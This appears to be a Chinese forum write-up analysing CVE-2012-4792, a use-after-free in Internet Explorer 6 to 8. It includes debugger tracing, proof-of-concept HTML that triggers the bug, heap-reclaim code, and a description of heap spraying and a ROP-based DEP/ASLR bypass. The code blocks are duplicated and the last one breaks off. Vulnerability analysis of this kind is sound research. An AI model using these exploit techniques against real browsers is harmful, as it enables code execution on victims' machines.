-
-
[原创]Internet Explorer漏洞分析(四)——CVE-2012-4792
-
发表于: 2021-4-19 08:07 9541
-
mshtml.dll
在释放CButton
对象后没有更新CDoc
中Default Element对此地址引用,以致后续CElement::FindDefaultElem
会重新获取此地址,传递给CMarkup::OnLoadStatusDone
函数,使用已释放内存。
Microsoft Internet Explorer 6 through 8
分析用POC:
借助Math.tan
、Math.sin
、Math.cos
(分别对应jscript!Tan
、jscript!sin
、jscript!cos
)及mshtml!CreateElement
可观察各对象的创建。document.createElement("div")
:
document.createElement("q")
:
document.createElement('button')
:
下面来看如何创建DOM流,跟进CElement::applyElement
函数分析,其创建位于CElement::EnsureInMarkup
中:
CElement::EnsureInMarkup
—>CDoc::CreateMarkupWithElement
—>CTreeNode::CTreeNode
:
其执行情况如下:
调用CTreeNode::CTreeNode
完成:
可以看出div
元素(即e1
)的CTreeNode—>parent
初始指向CRootElement,CTreeNode
类结构如下所示:
将CTreeNode
对象地址写入Element对象偏移0x14位置处:
CMarkup::ReparentDirectChildren
将q
元素(即e2
)的CTreeNode地址写至div
元素CTreeNode—>parent
中:
CElement类部分结构含义如下:
对POC执行完e1.applyElement(e0);
语句后所创建对象作一总结:
对象布局如下:
下面开始漏洞分析部分。e1.appendChild(document.createElement('button'));
对应函数为CElement::appendChild
,对于button
元素,其会执行CElement::SetDefaultElem
函数,将该元素设为Default Element:
具体执行如下:
e2.innerHTML = "";
会将Phrase内元素清空:
e2.appendChild(document.createElement('body'));
:
CollectGarbage();
对应函数为jscript!JsCollectGarbage
,它会调用mshtml!PlainTrackerRelease
对button
元素进行释放:
但其释放结束后并未更新CDoc对象中Default Element(Offset 0x1A8
),以致后续mshtml!CElement::FindDefaultElem
函数使用已释放内存,触发漏洞:
首先是对已释放CButton对象内存进行占位,可通过两种方式——className
与title
。className
:
title
:
(注:上述两处代码均来自用ClassName占位和title占位的分析)
两种方式执行流对比:
其最终都会调用_HeapAllocString
,其会调用ULongAdd
函数将substring
传递第二个参数加1,之后乘2传递给HeapAlloc
分配该数值大小堆块:
创建CButton对象时申请堆块大小为0x58,如此一来,需要修改junk.substring(0,(0x58-6)/2)
为junk.substring(0,(0x58-2)/2)
:
完成占位:
之后进行Heap Spray:
var shellcode=junk_offset+code+nops.substring(0,0x800-0x5F4-code.length);
语句中0x5F4是因为要实现Shellcode精准Heap Spray到0x0c0c0c0c
位置,堆块上数据从0x0024
开始,0x0c0c-0x0024=0xbe8
,该值除以2即为0x5f4:
最后是Bypass ASLR&DEP。加入如下语句:
会加载C:\Program Files\Common Files\microsoft shared\Help\hxds.dll
文件,该文件并未开启ASLR,故可利用其构造ROP链(注:该文件随Office版本不同而不同,笔者采用Office 2010进行构造)。stackpivot
有两处可供使用——0x51be4a41
与0x51bd29c7
,最终构造Exploit如下:
成功弹出计算器:
来自Happy New Year Analysis of CVE-2012-4792:
<!doctype html>
<html>
<head>
<script>
function exploit()
{
var e0
=
null;
var e1
=
null;
var e2
=
null;
try
{
e0
=
document.getElementById(
"a"
);
/
/
Math.tan(
2
,
1
);
e1
=
document.createElement(
"div"
)
/
/
Math.sin(
2
,
1
);
e2
=
document.createElement(
"q"
);
/
/
Math.cos(
2
,
1
);
e1.applyElement(e2);
e1.appendChild(document.createElement(
'button'
));
e1.applyElement(e0);
e2.innerHTML
=
"";
e2.appendChild(document.createElement(
'body'
));
} catch(e) { }
CollectGarbage();
}
<
/
script>
<
/
head>
<body onload
=
"exploit()"
>
<form
id
=
"a"
>
<
/
form>
<
/
body>
<
/
html>
<!doctype html>
<html>
<head>
<script>
function exploit()
{
var e0
=
null;
var e1
=
null;
var e2
=
null;
try
{
e0
=
document.getElementById(
"a"
);
/
/
Math.tan(
2
,
1
);
e1
=
document.createElement(
"div"
)
/
/
Math.sin(
2
,
1
);
e2
=
document.createElement(
"q"
);
/
/
Math.cos(
2
,
1
);
e1.applyElement(e2);
e1.appendChild(document.createElement(
'button'
));
e1.applyElement(e0);
e2.innerHTML
=
"";
e2.appendChild(document.createElement(
'body'
));
} catch(e) { }
CollectGarbage();
}
<
/
script>
<
/
head>
<body onload
=
"exploit()"
>
<form
id
=
"a"
>
<
/
form>
<
/
body>
<
/
html>
class
CTreeNode
{
public:
CElement
*
element;
CTreeNode
*
parent;
BYTE _etag;
/
/
0
-
7
: element tag
BYTE _fFirstCommonAncestorNode :
1
;
/
/
8
:
for
finding common ancestor
BYTE _fInMarkup :
1
;
/
/
9
: this node
is
in
a markup
and
shouldn't die
BYTE _fInMarkupDestruction :
1
;
/
/
10
: Used by CMarkup::DestroySplayTree
BYTE _fHasLookasidePtr :
2
;
/
/
11
-
12
Lookaside flags
BYTE _fBlockNess :
1
;
/
/
13
: Cached
from
format
-
-
valid
if
_iFF !
=
-
1
BYTE _fHasLayout :
1
;
/
/
14
: Cached
from
format
-
-
valid
if
_iFF !
=
-
1
BYTE _fUnused :
1
;
/
/
15
: Unused
SHORT _iPF;
/
/
16
-
31
: Paragraph
Format
/
/
DWORD
2
SHORT _iCF;
/
/
0
-
15
: Char
Format
SHORT _iFF;
CTreePos _tpBegin;
CTreePos _tpEnd;
DWORD unknow1;
DWORD unknow2;
DWORD unknow3;
};
class
CTreeNode
{
public:
CElement
*
element;
CTreeNode
*
parent;
BYTE _etag;
/
/
0
-
7
: element tag
BYTE _fFirstCommonAncestorNode :
1
;
/
/
8
:
for
finding common ancestor
BYTE _fInMarkup :
1
;
/
/
9
: this node
is
in
a markup
and
shouldn't die
BYTE _fInMarkupDestruction :
1
;
/
/
10
: Used by CMarkup::DestroySplayTree
BYTE _fHasLookasidePtr :
2
;
/
/
11
-
12
Lookaside flags
BYTE _fBlockNess :
1
;
/
/
13
: Cached
from
format
-
-
valid
if
_iFF !
=
-
1
BYTE _fHasLayout :
1
;
/
/
14
: Cached
from
format
-
-
valid
if
_iFF !
=
-
1
BYTE _fUnused :
1
;
/
/
15
: Unused
SHORT _iPF;
/
/
16
-
31
: Paragraph
Format
/
/
DWORD
2
SHORT _iCF;
/
/
0
-
15
: Char
Format
SHORT _iFF;
CTreePos _tpBegin;
CTreePos _tpEnd;
DWORD unknow1;
DWORD unknow2;
DWORD unknow3;
};
+
0x10
CAttributeCollection
+
0x00
The total size of the Attribute Array<<
2
+
0x04
Number of Attributes
+
0x08
CAttrArray
+
0x0c
+
0x14
CTreeNode
+
0x10
CAttributeCollection
+
0x00
The total size of the Attribute Array<<
2
+
0x04
Number of Attributes
+
0x08
CAttrArray
+
0x0c
+
0x14
CTreeNode
e0 Address:
0x0026e4c8
(Form Element)
CTreeNode Address:
0x00307cb0
e1 Address:
0x002db1e8
(Div Element)
CTreeNode Address:
0x00307af8
e2 Address:
0x002dad38
(Phrase Element)
CTreeNode Address:
0x00307b50
button Address:
0x00311b48
CTreeNode Address:
0x00307ba8
e0 Address:
0x0026e4c8
(Form Element)
CTreeNode Address:
0x00307cb0
e1 Address:
0x002db1e8
(Div Element)
CTreeNode Address:
0x00307af8
e2 Address:
0x002dad38
(Phrase Element)
CTreeNode Address:
0x00307b50
button Address:
0x00311b48
CTreeNode Address:
0x00307ba8
<!doctype html>
<html>
<head>
<script>
var arr_button
=
new Array();
var junk
=
unescape(
"%u4141%u4141"
);
while
(junk.length < (
0x100
-
6
)
/
2
)
{
junk
+
=
junk;
}
function helloWorld() {
var e
=
document.createElement(
'div'
);
var e0
=
null;
var e1
=
null;
var e2
=
null;
for
(i
=
0
; i <
20
; i
+
+
)
{
document.createElement(
'button'
);
}
try
{
e0
=
document.getElementById(
"a"
);
e1
=
document.getElementById(
"b"
);
e2
=
document.createElement(
"q"
);
e1.applyElement(e2);
e1.appendChild(document.createElement(
'button'
));
e1.applyElement(e0);
e2.outerText
=
"";
e2.appendChild(document.createElement(
'body'
));
} catch(e) { }
CollectGarbage();
for
(var i
=
0
; i<
0x50
; i
+
+
)
{
arr_button[i]
=
document.createElement(
"button"
);
arr_button[i].className
=
junk.substring(
0
,(
0x58
-
6
)
/
2
);
}
}
<
/
script>
<
/
head>
<body onload
=
"eval(helloWorld())"
>
<form
id
=
"a"
>
<
/
form>
<dfn
id
=
"b"
>
<
/
dfn>
<
/
body>
<
/
html>
<!doctype html>
<html>
<head>
<script>
var arr_button
=
new Array();
var junk
=
unescape(
"%u4141%u4141"
);
while
(junk.length < (
0x100
-
6
)
/
2
)
{
junk
+
=
junk;
}
function helloWorld() {
var e
=
document.createElement(
'div'
);
var e0
=
null;
var e1
=
null;
var e2
=
null;
for
(i
=
0
; i <
20
; i
+
+
)
{
document.createElement(
'button'
);
}
try
{
e0
=
document.getElementById(
"a"
);
e1
=
document.getElementById(
"b"
);
e2
=
document.createElement(
"q"
);
e1.applyElement(e2);
e1.appendChild(document.createElement(
'button'
));
e1.applyElement(e0);
e2.outerText
=
"";
e2.appendChild(document.createElement(
'body'
));
} catch(e) { }
CollectGarbage();
for
(var i
=
0
; i<
0x50
; i
+
+
)
{
arr_button[i]
=
document.createElement(
"button"
);
arr_button[i].className
=
junk.substring(
0
,(
0x58
-
6
)
/
2
);
}
}
<
/
script>
<
/
head>
<body onload
=
"eval(helloWorld())"
>
<form
id
=
"a"
>
<
/
form>
<dfn
id
=
"b"
>
<
/
dfn>
<
/
body>
<
/
html>
<!doctype html>
<html>
<head>
<script>
var arr_div
=
new Array();
var junk
=
unescape(
"%u4141%u4141"
);
while
(junk.length < (
0x100
-
6
)
/
2
)
{
junk
+
=
junk;
}
function helloWorld() {
var e0
=
null;
var e1
=
null;
var e2
=
null;
try
{
e0
=
document.getElementById(
"a"
);
e1
=
document.getElementById(
"b"
);
e2
=
document.createElement(
"q"
);
e1.applyElement(e2);
e1.appendChild(document.createElement(
'button'
));
e1.applyElement(e0);
e2.outerText
=
"";
e2.appendChild(document.createElement(
'body'
));
} catch(e) { }
CollectGarbage();
for
(var i
=
0
; i<
0x50
; i
+
+
)
{
arr_div[i]
=
document.createElement(
"div"
);
arr_div[i].title
=
junk.substring(
0
,(
0x58
-
6
)
/
2
);
}
}
<
/
script>
<
/
head>
<body onload
=
"eval(helloWorld())"
>
<form
id
=
"a"
>
<
/
form>
<dfn
id
=
"b"
>
<
/
dfn>
<
/
body>
<
/
html>
<!doctype html>
<html>
<head>
<script>
var arr_div
=
new Array();
var junk
=
unescape(
"%u4141%u4141"
);
while
(junk.length < (
0x100
-
6
)
/
2
)
{
junk
+
=
junk;
}
function helloWorld() {
var e0
=
null;
var e1
=
null;
var e2
=
null;
try
{
e0
=
document.getElementById(
"a"
);
e1
=
document.getElementById(
"b"
);
e2
=
document.createElement(
"q"
);
e1.applyElement(e2);
e1.appendChild(document.createElement(
'button'
));
e1.applyElement(e0);
e2.outerText
=
"";
e2.appendChild(document.createElement(
'body'
));
} catch(e) { }
CollectGarbage();
for
(var i
=
0
; i<
0x50
; i
+
+
)
{